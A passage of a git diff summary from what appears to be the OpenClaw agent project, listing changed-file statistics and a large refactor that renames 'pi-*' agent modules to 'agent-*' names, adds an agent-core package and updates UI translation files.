.../runtime/runtime-model-auth.runtime.ts | 4 +- .../runtime/runtime-web-channel-plugin.ts | 2 +- src/plugins/runtime/types-core.ts | 15 +- src/plugins/status.test.ts | 23 +- src/plugins/status.ts | 15 +- src/plugins/synthetic-auth.runtime.test.ts | 2 +- src/plugins/types.ts | 32 +- src/plugins/web-content-extractors.runtime.ts | 1 - .../web-fetch-providers.runtime.test.ts | 8 - src/plugins/web-fetch-providers.runtime.ts | 2 - src/plugins/web-fetch-providers.shared.ts | 2 - ...ublic-artifacts.explicit-fast-path.test.ts | 2 - ...provider-public-artifacts.fallback.test.ts | 32 +- src/plugins/web-provider-public-artifacts.ts | 15 +- src/plugins/web-provider-resolution-shared.ts | 2 - src/plugins/web-provider-runtime-shared.ts | 10 +- .../web-search-credential-presence.test.ts | 2 - src/plugins/web-search-credential-presence.ts | 13 +- .../web-search-providers.runtime.test.ts | 12 - src/plugins/web-search-providers.runtime.ts | 2 - src/plugins/web-search-providers.shared.ts | 2 - .../wired-hooks-after-tool-call.e2e.test.ts | 10 +- src/plugins/wired-hooks-compaction.test.ts | 2 +- src/process/exec.ts | 2 +- src/process/kill-tree.test.ts | 23 + src/process/kill-tree.ts | 140 +- src/scripts/control-ui-i18n.test.ts | 44 +- src/scripts/test-projects.test.ts | 2 +- src/secrets/runtime-fast-path.ts | 1 - src/secrets/runtime-web-tools.test.ts | 4 +- src/secrets/runtime-web-tools.ts | 8 - src/secrets/storage-scan.ts | 2 +- src/security/audit-extra.summary.ts | 3 +- src/security/audit.ts | 8 +- src/sessions/input-provenance.ts | 2 +- src/sessions/user-turn-transcript.ts | 2 +- src/shared/google-turn-ordering.ts | 2 +- src/shared/node-match.test.ts | 2 +- src/shared/schema-keyword-strip.ts | 41 + src/shared/session-types.ts | 2 +- src/status/agent-runtime-label.ts | 4 +- src/status/fallback-notice-state.ts | 6 +- src/status/status-message.ts | 9 +- src/status/status-text.ts | 1 + src/talk/agent-consult-runtime.test.ts | 40 +- src/talk/agent-consult-runtime.ts | 12 +- src/talk/agent-run-control.test.ts | 22 +- src/talk/agent-run-control.ts | 22 +- src/tasks/task-status.ts | 2 +- src/test-utils/channel-plugins.ts | 1 + src/test-utils/openclaw-test-state.test.ts | 15 - src/test-utils/openclaw-test-state.ts | 3 - src/trajectory/export.test.ts | 2 +- src/trajectory/export.ts | 4 +- src/trajectory/metadata.test.ts | 2 +- src/tts/tts-core.ts | 5 +- src/tui/tui-event-handlers.ts | 2 +- src/tui/tui-pty-harness.e2e.test.ts | 2 +- .../{pi-agent-core.d.ts => agent-core.d.ts} | 4 +- src/types/agent-sessions.d.ts | 8 + src/types/highlight-js-lib-index.d.ts | 19 + src/types/pi-coding-agent.d.ts | 8 - src/web-fetch/runtime.ts | 6 - src/web-search/runtime.test.ts | 1 - src/web-search/runtime.ts | 7 - .../agents/happy-path-prompt-snapshots.ts | 2 +- ...mple-mock.ts => llm-stream-simple-mock.ts} | 4 +- .../agents/prompt-composition-scenarios.ts | 6 +- test/helpers/auth-wizard.ts | 1 - .../trigger-handling-test-harness.ts | 106 +- .../heartbeat-config-honor.inventory.ts | 2 +- test/image-generation.runtime.live.test.ts | 2 +- test/non-isolated-runner.ts | 1 - test/package-manager-config.test.ts | 14 +- test/scripts/ci-node-test-plan.test.ts | 2 +- test/scripts/control-ui-i18n.test.ts | 98 - test/scripts/docker-e2e-plan.test.ts | 4 +- test/scripts/generate-npm-shrinkwrap.test.ts | 31 +- test/scripts/lint-suppressions.test.ts | 2 +- test/scripts/live-docker-auth.test.ts | 44 +- .../openclaw-cross-os-release-checks.test.ts | 2 +- .../package-acceptance-workflow.test.ts | 8 + test/scripts/package-mac-app.test.ts | 14 +- test/scripts/parallels-smoke-model.test.ts | 2 +- test/scripts/root-package-overrides.test.ts | 3 +- test/scripts/runtime-postbuild.test.ts | 2 - test/scripts/test-extension.test.ts | 7 + test/scripts/test-projects.test.ts | 6 +- .../transitive-manifest-risk-report.test.ts | 6 +- test/setup.shared.ts | 6 +- test/test-env.ts | 2 - test/vitest-projects-config.test.ts | 4 +- test/vitest-unit-fast-config.test.ts | 4 +- test/vitest-unit-paths.test.ts | 2 +- .../vitest.agents-embedded-agent.config.ts | 12 + test/vitest/vitest.agents-paths.mjs | 4 +- .../vitest.agents-pi-embedded.config.ts | 12 - test/vitest/vitest.config.ts | 2 +- test/vitest/vitest.scoped-config.ts | 2 +- test/vitest/vitest.shared.config.ts | 6 +- test/vitest/vitest.test-shards.mjs | 2 +- tsconfig.json | 2 + tsdown.config.ts | 68 +- ui/src/i18n/.i18n/ar.meta.json | 36 +- ui/src/i18n/.i18n/de.meta.json | 36 +- ui/src/i18n/.i18n/es.meta.json | 37 +- ui/src/i18n/.i18n/fa.meta.json | 36 +- ui/src/i18n/.i18n/fr.meta.json | 36 +- ui/src/i18n/.i18n/id.meta.json | 36 +- ui/src/i18n/.i18n/it.meta.json | 36 +- ui/src/i18n/.i18n/ja-JP.meta.json | 36 +- ui/src/i18n/.i18n/ko.meta.json | 36 +- ui/src/i18n/.i18n/nl.meta.json | 36 +- ui/src/i18n/.i18n/pl.meta.json | 36 +- ui/src/i18n/.i18n/pt-BR.meta.json | 37 +- ui/src/i18n/.i18n/th.meta.json | 36 +- ui/src/i18n/.i18n/tr.meta.json | 36 +- ui/src/i18n/.i18n/uk.meta.json | 36 +- ui/src/i18n/.i18n/vi.meta.json | 36 +- ui/src/i18n/.i18n/zh-CN.meta.json | 39 +- ui/src/i18n/.i18n/zh-TW.meta.json | 37 +- ui/src/i18n/locales/ar.ts | 42 +- ui/src/i18n/locales/de.ts | 42 +- ui/src/i18n/locales/es.ts | 44 +- ui/src/i18n/locales/fa.ts | 42 +- ui/src/i18n/locales/fr.ts | 42 +- ui/src/i18n/locales/id.ts | 46 +- ui/src/i18n/locales/it.ts | 42 +- ui/src/i18n/locales/ja-JP.ts | 42 +- ui/src/i18n/locales/ko.ts | 42 +- ui/src/i18n/locales/nl.ts | 42 +- ui/src/i18n/locales/pl.ts | 42 +- ui/src/i18n/locales/pt-BR.ts | 44 +- ui/src/i18n/locales/th.ts | 42 +- ui/src/i18n/locales/tr.ts | 46 +- ui/src/i18n/locales/uk.ts | 48 +- ui/src/i18n/locales/vi.ts | 42 +- ui/src/i18n/locales/zh-CN.ts | 49 +- ui/src/i18n/locales/zh-TW.ts | 45 +- ui/src/ui/views/activity.test.ts | 2 +- 1969 files changed, 69806 insertions(+), 25286 deletions(-) create mode 100644 THIRD_PARTY_NOTICES.md delete mode 100644 apps/macos/Sources/OpenClaw/ModelCatalogLoader.swift delete mode 100644 apps/macos/Tests/OpenClawIPCTests/ModelCatalogLoaderTests.swift create mode 100644 docs/agent-runtime-architecture.md delete mode 100644 docs/help/gpt55-codex-agentic-parity-maintainers.md delete mode 100644 docs/help/gpt55-codex-agentic-parity.md rename docs/{pi-dev.md => openclaw-agent-runtime.md} (57%) delete mode 100644 docs/pi.md delete mode 100644 extensions/acpx/src/runtime-internals/error-format.mjs create mode 100644 extensions/acpx/src/runtime-turn.ts create mode 100644 extensions/amazon-bedrock/bedrock-options.ts create mode 100644 extensions/amazon-bedrock/stream.runtime.test.ts create mode 100644 extensions/amazon-bedrock/stream.runtime.ts create mode 100644 extensions/google/provider-catalog.ts create mode 100644 extensions/google/provider-discovery.ts create mode 100644 extensions/minimax/provider-discovery.ts delete mode 100644 extensions/mistral/provider-compat.ts create mode 100644 extensions/openai/openai-codex-oauth-flow.runtime.test.ts create mode 100644 extensions/openai/openai-codex-oauth-flow.runtime.ts create mode 100644 extensions/openai/openai-codex-oauth-page.runtime.ts create mode 100644 extensions/openai/openai-codex-oauth-types.runtime.ts create mode 100644 extensions/openai/openai-codex-pkce.runtime.ts delete mode 100644 extensions/qa-lab/src/runtime-parity.test.ts create mode 100644 packages/agent-core/package.json create mode 100644 packages/agent-core/src/agent-loop.test.ts create mode 100644 packages/agent-core/src/agent-loop.ts create mode 100644 packages/agent-core/src/agent.ts create mode 100644 packages/agent-core/src/harness/agent-harness.ts create mode 100644 packages/agent-core/src/harness/compaction/branch-summarization.ts create mode 100644 packages/agent-core/src/harness/compaction/compaction.ts create mode 100644 packages/agent-core/src/harness/compaction/utils.ts create mode 100644 packages/agent-core/src/harness/env/kill-tree.ts create mode 100644 packages/agent-core/src/harness/env/nodejs.ts create mode 100644 packages/agent-core/src/harness/messages.ts create mode 100644 packages/agent-core/src/harness/prompt-templates.ts create mode 100644 packages/agent-core/src/harness/session/jsonl-repo.ts create mode 100644 packages/agent-core/src/harness/session/jsonl-storage.ts create mode 100644 packages/agent-core/src/harness/session/memory-repo.ts create mode 100644 packages/agent-core/src/harness/session/memory-storage.ts create mode 100644 packages/agent-core/src/harness/session/repo-utils.ts create mode 100644 packages/agent-core/src/harness/session/session.ts create mode 100644 packages/agent-core/src/harness/session/uuid.ts create mode 100644 packages/agent-core/src/harness/skills.ts create mode 100644 packages/agent-core/src/harness/system-prompt.ts create mode 100644 packages/agent-core/src/harness/types.ts create mode 100644 packages/agent-core/src/harness/utils/shell-output.ts create mode 100644 packages/agent-core/src/harness/utils/truncate.ts create mode 100644 packages/agent-core/src/index.ts create mode 100644 packages/agent-core/src/llm.ts create mode 100644 packages/agent-core/src/node.ts create mode 100644 packages/agent-core/src/runtime-deps.ts create mode 100644 packages/agent-core/src/types.ts create mode 100644 packages/agent-core/src/validation.ts rename qa/scenarios/runtime/{codex-pi-shaped-read-vocabulary.md => codex-legacy-read-tool-vocabulary.md} (75%) rename qa/scenarios/workspace/{medium-game-plan-pi-harness.md => medium-game-plan-openclaw-harness.md} (82%) rename scripts/e2e/{pi-bundle-mcp-tools-docker-client.ts => agent-bundle-mcp-tools-docker-client.ts} (86%) rename scripts/e2e/{pi-bundle-mcp-tools-docker.sh => agent-bundle-mcp-tools-docker.sh} (61%) rename src/agents/{pi-auth-credentials.ts => agent-auth-credentials.ts} (70%) rename src/agents/{pi-auth-discovery-core.ts => agent-auth-discovery-core.ts} (86%) rename src/agents/{pi-auth-discovery.external-cli.test.ts => agent-auth-discovery.external-cli.test.ts} (84%) rename src/agents/{pi-auth-discovery.ts => agent-auth-discovery.ts} (82%) rename src/agents/{pi-auth-json.test.ts => agent-auth-json.test.ts} (85%) rename src/agents/{pi-auth-json.ts => agent-auth-json.ts} (71%) rename src/agents/{pi-bundle-lsp-runtime.test.ts => agent-bundle-lsp-runtime.test.ts} (88%) rename src/agents/{pi-bundle-lsp-runtime.ts => agent-bundle-lsp-runtime.ts} (98%) rename src/agents/{pi-bundle-lsp-runtime.windows-spawn.test.ts => agent-bundle-lsp-runtime.windows-spawn.test.ts} (95%) rename src/agents/{pi-bundle-mcp-materialize.ts => agent-bundle-mcp-materialize.ts} (94%) rename src/agents/{pi-bundle-mcp-names.test.ts => agent-bundle-mcp-names.test.ts} (95%) rename src/agents/{pi-bundle-mcp-names.ts => agent-bundle-mcp-names.ts} (100%) rename src/agents/{pi-bundle-mcp-runtime.test.ts => agent-bundle-mcp-runtime.test.ts} (98%) rename src/agents/{pi-bundle-mcp-runtime.ts => agent-bundle-mcp-runtime.ts} (98%) rename src/agents/{pi-bundle-mcp-test-harness.ts => agent-bundle-mcp-test-harness.ts} (63%) rename src/agents/{pi-bundle-mcp-tools.materialize.test.ts => agent-bundle-mcp-tools.materialize.test.ts} (96%) rename src/agents/{pi-bundle-mcp-tools.request-boundary.test.ts => agent-bundle-mcp-tools.request-boundary.test.ts} (94%) rename src/agents/{pi-bundle-mcp-tools.ts => agent-bundle-mcp-tools.ts} (79%) rename src/agents/{pi-bundle-mcp-types.ts => agent-bundle-mcp-types.ts} (100%) rename src/agents/{pi-compaction-constants.ts => agent-compaction-constants.ts} (100%) rename src/agents/{pi-hooks => agent-hooks}/compaction-instructions.test.ts (100%) rename src/agents/{pi-hooks => agent-hooks}/compaction-instructions.ts (100%) rename src/agents/{pi-hooks => agent-hooks}/compaction-safeguard-quality.ts (100%) rename src/agents/{pi-hooks => agent-hooks}/compaction-safeguard-runtime.ts (96%) rename src/agents/{pi-hooks => agent-hooks}/compaction-safeguard.test.ts (99%) rename src/agents/{pi-hooks => agent-hooks}/compaction-safeguard.ts (99%) rename src/agents/{pi-hooks => agent-hooks}/context-pruning.test.ts (98%) rename src/agents/{pi-hooks => agent-hooks}/context-pruning.ts (83%) rename src/agents/{pi-hooks => agent-hooks}/context-pruning/extension.ts (97%) rename src/agents/{pi-hooks => agent-hooks}/context-pruning/pruner.test.ts (98%) rename src/agents/{pi-hooks => agent-hooks}/context-pruning/pruner.ts (97%) rename src/agents/{pi-hooks => agent-hooks}/context-pruning/runtime.ts (87%) rename src/agents/{pi-hooks => agent-hooks}/context-pruning/settings.ts (100%) rename src/agents/{pi-hooks => agent-hooks}/context-pruning/tools.ts (100%) rename src/agents/{pi-hooks => agent-hooks}/session-manager-runtime-registry.ts (100%) rename src/agents/{pi-mcp-style.cache.live.test.ts => agent-mcp-style.cache.live.test.ts} (98%) rename src/agents/{pi-model-discovery.auth.test.ts => agent-model-discovery.auth.test.ts} (92%) create mode 100644 src/agents/agent-model-discovery.internal.test.ts rename src/agents/{pi-model-discovery.synthetic-auth.test.ts => agent-model-discovery.synthetic-auth.test.ts} (78%) rename src/agents/{pi-model-discovery.test.ts => agent-model-discovery.test.ts} (85%) create mode 100644 src/agents/agent-model-discovery.ts rename src/agents/{pi-project-settings-snapshot.ts => agent-project-settings-snapshot.ts} (69%) rename src/agents/{pi-project-settings.bundle.test.ts => agent-project-settings.bundle.test.ts} (93%) rename src/agents/{pi-project-settings.test.ts => agent-project-settings.test.ts} (68%) rename src/agents/{pi-project-settings.ts => agent-project-settings.ts} (63%) create mode 100644 src/agents/agent-runtime-id.ts rename src/agents/{pi-settings.test.ts => agent-settings.test.ts} (81%) rename src/agents/{pi-settings.ts => agent-settings.ts} (86%) rename src/agents/{pi-tool-definition-adapter.after-tool-call.fires-once.test.ts => agent-tool-definition-adapter.after-tool-call.fires-once.test.ts} (93%) rename src/agents/{pi-tool-definition-adapter.after-tool-call.test.ts => agent-tool-definition-adapter.after-tool-call.test.ts} (94%) rename src/agents/{pi-tool-definition-adapter.logging.test.ts => agent-tool-definition-adapter.logging.test.ts} (93%) rename src/agents/{pi-tool-definition-adapter.test.ts => agent-tool-definition-adapter.test.ts} (96%) rename src/agents/{pi-tool-definition-adapter.ts => agent-tool-definition-adapter.ts} (96%) rename src/agents/{pi-tool-handler-state.test-helpers.ts => agent-tool-handler-state.test-helpers.ts} (92%) rename src/agents/{pi-tools-agent-config.exec.test.ts => agent-tools-agent-config.exec.test.ts} (98%) rename src/agents/{pi-tools-agent-config.test.ts => agent-tools-agent-config.test.ts} (99%) rename src/agents/{pi-tools-parameter-schema.ts => agent-tools-parameter-schema.ts} (99%) rename src/agents/{pi-tools.abort.ts => agent-tools.abort.ts} (93%) rename src/agents/{pi-tools.availability.test.ts => agent-tools.availability.test.ts} (96%) rename src/agents/{pi-tools.before-tool-call.e2e.test.ts => agent-tools.before-tool-call.e2e.test.ts} (99%) rename src/agents/{pi-tools.before-tool-call.embedded-mode.test.ts => agent-tools.before-tool-call.embedded-mode.test.ts} (99%) rename src/agents/{pi-tools.before-tool-call.integration.e2e.test.ts => agent-tools.before-tool-call.integration.e2e.test.ts} (99%) rename src/agents/{pi-tools.before-tool-call.runtime.ts => agent-tools.before-tool-call.runtime.ts} (100%) rename src/agents/{pi-tools.before-tool-call.state.ts => agent-tools.before-tool-call.state.ts} (100%) rename src/agents/{pi-tools.before-tool-call.ts => agent-tools.before-tool-call.ts} (99%) rename src/agents/{pi-tools.create-openclaw-coding-tools.adds-claude-style-aliases-schemas-without-dropping-g.test.ts => agent-tools.create-openclaw-coding-tools.adds-claude-style-aliases-schemas-without-dropping-g.test.ts} (98%) rename src/agents/{pi-tools.create-openclaw-coding-tools.test.ts => agent-tools.create-openclaw-coding-tools.test.ts} (97%) rename src/agents/{pi-tools.cron-scope.test.ts => agent-tools.cron-scope.test.ts} (96%) rename src/agents/{pi-tools.deferred-followup-guidance.test.ts => agent-tools.deferred-followup-guidance.test.ts} (95%) rename src/agents/{pi-tools.deferred-followup.ts => agent-tools.deferred-followup.ts} (91%) rename src/agents/{pi-tools.message-provider-policy.test.ts => agent-tools.message-provider-policy.test.ts} (88%) rename src/agents/{pi-tools.message-provider-policy.ts => agent-tools.message-provider-policy.ts} (100%) rename src/agents/{pi-tools.model-provider-collision.test.ts => agent-tools.model-provider-collision.test.ts} (98%) rename src/agents/{pi-tools.params.test.ts => agent-tools.params.test.ts} (99%) rename src/agents/{pi-tools.params.ts => agent-tools.params.ts} (98%) rename src/agents/{pi-tools.policy.test.ts => agent-tools.policy.test.ts} (88%) rename src/agents/{pi-tools.policy.ts => agent-tools.policy.ts} (99%) rename src/agents/{pi-tools.read.host-edit-access.test.ts => agent-tools.read.host-edit-access.test.ts} (90%) rename src/agents/{pi-tools.read.host-tilde-expansion.test.ts => agent-tools.read.host-tilde-expansion.test.ts} (96%) rename src/agents/{pi-tools.read.ts => agent-tools.read.ts} (90%) rename src/agents/{pi-tools.read.workspace-root-guard.test.ts => agent-tools.read.workspace-root-guard.test.ts} (96%) rename src/agents/{pi-tools.safe-bins.test.ts => agent-tools.safe-bins.test.ts} (98%) rename src/agents/{pi-tools.sandbox-mounted-paths.workspace-only.test.ts => agent-tools.sandbox-mounted-paths.workspace-only.test.ts} (98%) rename src/agents/{pi-tools.schema.test.ts => agent-tools.schema.test.ts} (99%) rename src/agents/{pi-tools.schema.ts => agent-tools.schema.ts} (96%) rename src/agents/{pi-tools.ts => agent-tools.ts} (98%) rename src/agents/{pi-tools.types.ts => agent-tools.types.ts} (100%) rename src/agents/{pi-tools.workspace-only-false.test.ts => agent-tools.workspace-only-false.test.ts} (94%) rename src/agents/{pi-tools.workspace-paths.test.ts => agent-tools.workspace-paths.test.ts} (98%) create mode 100644 src/agents/config.ts rename src/agents/{pi-embedded-block-chunker.test.ts => embedded-agent-block-chunker.test.ts} (98%) rename src/agents/{pi-embedded-block-chunker.ts => embedded-agent-block-chunker.ts} (100%) rename src/agents/{pi-embedded-error-observation.test.ts => embedded-agent-error-observation.test.ts} (99%) rename src/agents/{pi-embedded-error-observation.ts => embedded-agent-error-observation.ts} (99%) rename src/agents/{pi-embedded-helpers.buildbootstrapcontextfiles.test.ts => embedded-agent-helpers.buildbootstrapcontextfiles.test.ts} (99%) rename src/agents/{pi-embedded-helpers.formatassistanterrortext.test.ts => embedded-agent-helpers.formatassistanterrortext.test.ts} (99%) rename src/agents/{pi-embedded-helpers.isbillingerrormessage.test.ts => embedded-agent-helpers.isbillingerrormessage.test.ts} (99%) rename src/agents/{pi-embedded-helpers.sanitize-session-messages-images.removes-empty-assistant-text-blocks-but-preserves.test.ts => embedded-agent-helpers.sanitize-session-messages-images.removes-empty-assistant-text-blocks-but-preserves.test.ts} (99%) rename src/agents/{pi-embedded-helpers.sanitizeuserfacingtext.test.ts => embedded-agent-helpers.sanitizeuserfacingtext.test.ts} (99%) rename src/agents/{pi-embedded-helpers.ts => embedded-agent-helpers.ts} (73%) rename src/agents/{pi-embedded-helpers.validate-turns.test.ts => embedded-agent-helpers.validate-turns.test.ts} (99%) rename src/agents/{pi-embedded-helpers => embedded-agent-helpers}/bootstrap.test.ts (100%) rename src/agents/{pi-embedded-helpers => embedded-agent-helpers}/bootstrap.ts (99%) rename src/agents/{pi-embedded-helpers => embedded-agent-helpers}/errors.test.ts (98%) rename src/agents/{pi-embedded-helpers => embedded-agent-helpers}/errors.ts (99%) rename src/agents/{pi-embedded-helpers => embedded-agent-helpers}/failover-matches.test.ts (100%) rename src/agents/{pi-embedded-helpers => embedded-agent-helpers}/failover-matches.ts (99%) rename src/agents/{pi-embedded-helpers => embedded-agent-helpers}/google.ts (100%) rename src/agents/{pi-embedded-helpers => embedded-agent-helpers}/images.ts (98%) rename src/agents/{pi-embedded-helpers => embedded-agent-helpers}/messaging-dedupe.ts (100%) rename src/agents/{pi-embedded-helpers => embedded-agent-helpers}/openai.ts (99%) rename src/agents/{pi-embedded-helpers => embedded-agent-helpers}/provider-error-patterns.test.ts (100%) rename src/agents/{pi-embedded-helpers => embedded-agent-helpers}/provider-error-patterns.ts (100%) rename src/agents/{pi-embedded-helpers => embedded-agent-helpers}/sanitize-user-facing-text.ts (100%) rename src/agents/{pi-embedded-helpers => embedded-agent-helpers}/thinking.test.ts (100%) rename src/agents/{pi-embedded-helpers => embedded-agent-helpers}/thinking.ts (100%) rename src/agents/{pi-embedded-helpers => embedded-agent-helpers}/turns.ts (99%) rename src/agents/{pi-embedded-helpers => embedded-agent-helpers}/types.ts (100%) rename src/agents/{embedded-pi-lsp.ts => embedded-agent-lsp.ts} (85%) rename src/agents/{embedded-pi-mcp.ts => embedded-agent-mcp.ts} (83%) rename src/agents/{pi-embedded-messaging.ts => embedded-agent-messaging.ts} (100%) rename src/agents/{pi-embedded-messaging.types.ts => embedded-agent-messaging.types.ts} (100%) rename src/agents/{pi-embedded-payloads.ts => embedded-agent-payloads.ts} (100%) rename src/agents/{pi-embedded-runner-extraparams-moonshot.test.ts => embedded-agent-runner-extraparams-moonshot.test.ts} (95%) rename src/agents/{pi-embedded-runner-extraparams-openrouter.test.ts => embedded-agent-runner-extraparams-openrouter.test.ts} (95%) rename src/agents/{pi-embedded-runner-extraparams-resolve.test.ts => embedded-agent-runner-extraparams-resolve.test.ts} (98%) rename src/agents/{pi-embedded-runner-extraparams.live.test.ts => embedded-agent-runner-extraparams.live.test.ts} (87%) rename src/agents/{pi-embedded-runner-extraparams.test-support.ts => embedded-agent-runner-extraparams.test-support.ts} (82%) rename src/agents/{pi-embedded-runner-extraparams.test.ts => embedded-agent-runner-extraparams.test.ts} (98%) rename src/agents/{pi-embedded-runner.anthropic-tool-replay.live.test.ts => embedded-agent-runner.anthropic-tool-replay.live.test.ts} (95%) rename src/agents/{pi-embedded-runner.buildembeddedsandboxinfo.test.ts => embedded-agent-runner.buildembeddedsandboxinfo.test.ts} (96%) rename src/agents/{pi-embedded-runner.cache.live.test.ts => embedded-agent-runner.cache.live.test.ts} (99%) rename src/agents/{pi-embedded-runner.compaction-safety-timeout.test.ts => embedded-agent-runner.compaction-safety-timeout.test.ts} (99%) rename src/agents/{pi-embedded-runner.createsystempromptoverride.test.ts => embedded-agent-runner.createsystempromptoverride.test.ts} (85%) rename src/agents/{pi-embedded-runner.e2e.test.ts => embedded-agent-runner.e2e.test.ts} (87%) rename src/agents/{pi-embedded-runner.extensions.test.ts => embedded-agent-runner.extensions.test.ts} (95%) rename src/agents/{pi-embedded-runner.guard.test.ts => embedded-agent-runner.guard.test.ts} (98%) rename src/agents/{pi-embedded-runner.guard.waitforidle-before-flush.test.ts => embedded-agent-runner.guard.waitforidle-before-flush.test.ts} (96%) rename src/agents/{pi-embedded-runner.limithistoryturns.test.ts => embedded-agent-runner.limithistoryturns.test.ts} (96%) rename src/agents/{pi-embedded-runner.openai-tool-id-preservation.test.ts => embedded-agent-runner.openai-tool-id-preservation.test.ts} (96%) rename src/agents/{pi-embedded-runner.resolvesessionagentids.test.ts => embedded-agent-runner.resolvesessionagentids.test.ts} (100%) rename src/agents/{pi-embedded-runner.run-embedded-pi-agent.auth-profile-rotation.e2e.test.ts => embedded-agent-runner.run-embedded-agent.auth-profile-rotation.e2e.test.ts} (96%) rename src/agents/{pi-embedded-runner.sanitize-session-history.policy.test.ts => embedded-agent-runner.sanitize-session-history.policy.test.ts} (96%) rename src/agents/{pi-embedded-runner.sanitize-session-history.test-harness.ts => embedded-agent-runner.sanitize-session-history.test-harness.ts} (93%) rename src/agents/{pi-embedded-runner.sanitize-session-history.test.ts => embedded-agent-runner.sanitize-session-history.test.ts} (99%) rename src/agents/{pi-embedded-runner.splitsdktools.test.ts => embedded-agent-runner.splitsdktools.test.ts} (82%) create mode 100644 src/agents/embedded-agent-runner.ts rename src/agents/{pi-embedded-runner => embedded-agent-runner}/abort.ts (100%) create mode 100644 src/agents/embedded-agent-runner/aliases.test.ts rename src/agents/{pi-embedded-runner => embedded-agent-runner}/cache-ttl.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/cache-ttl.ts (97%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/compact-reasons.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/compact-reasons.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/compact.hooks.harness.ts (93%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/compact.hooks.test.ts (94%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/compact.queued.ts (93%) create mode 100644 src/agents/embedded-agent-runner/compact.runtime.ts create mode 100644 src/agents/embedded-agent-runner/compact.runtime.types.ts rename src/agents/{pi-embedded-runner => embedded-agent-runner}/compact.ts (94%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/compact.types.ts (98%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/compaction-duplicate-user-messages.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/compaction-duplicate-user-messages.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/compaction-hooks.ts (99%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/compaction-runtime-context.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/compaction-runtime-context.ts (97%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/compaction-safety-timeout.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/compaction-successor-transcript.test.ts (99%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/compaction-successor-transcript.ts (98%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/context-engine-capabilities.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/context-engine-maintenance.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/context-engine-maintenance.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/context-truncation-notice.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/delivery-evidence.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/effective-tool-policy.test.ts (92%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/effective-tool-policy.ts (99%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/empty-assistant-turn.ts (95%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/execution-phase.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/extensions.test.ts (90%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/extensions.ts (85%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/extra-params.cache-retention-default.test.ts (96%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/extra-params.google.test.ts (93%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/extra-params.kilocode.test.ts (95%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/extra-params.openrouter-cache-control.test.ts (95%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/extra-params.provider-runtime.test.ts (94%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/extra-params.sampling.test.ts (98%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/extra-params.test-support.ts (94%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/extra-params.ts (97%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/extra-params.zai-tool-stream.test.ts (95%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/failure-signal.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/failure-signal.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/google-prompt-cache.test.ts (99%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/google-prompt-cache.ts (98%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/history.test.ts (98%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/history.ts (98%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/kilocode.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/lanes.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/lanes.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/logger.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/manual-compaction-boundary.test.ts (97%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/manual-compaction-boundary.ts (96%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/message-action-discovery-input.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/message-action-discovery-input.ts (100%) create mode 100644 src/agents/embedded-agent-runner/model-context-tokens.ts rename src/agents/{pi-embedded-runner => embedded-agent-runner}/model-discovery-cache.ts (86%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/model.forward-compat.errors-and-overrides.test.ts (96%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/model.forward-compat.test-support.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/model.forward-compat.test.ts (98%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/model.inline-provider.test.ts (100%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/model.inline-provider.ts (99%) create mode 100644 src/agents/embedded-agent-runner/model.provider-normalization.ts rename src/agents/{pi-embedded-runner => embedded-agent-runner}/model.provider-runtime.test-support.ts (100%) rename src/agents/{pi-embedded-runner/model.skip-pi-discovery-hooks.test.ts => embedded-agent-runner/model.skip-agent-discovery-hooks.test.ts} (86%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/model.startup-retry.test.ts (95%) rename src/agents/{pi-embedded-runner => embedded-agent-runner}/model.static-catalog.test.ts (100%) rename 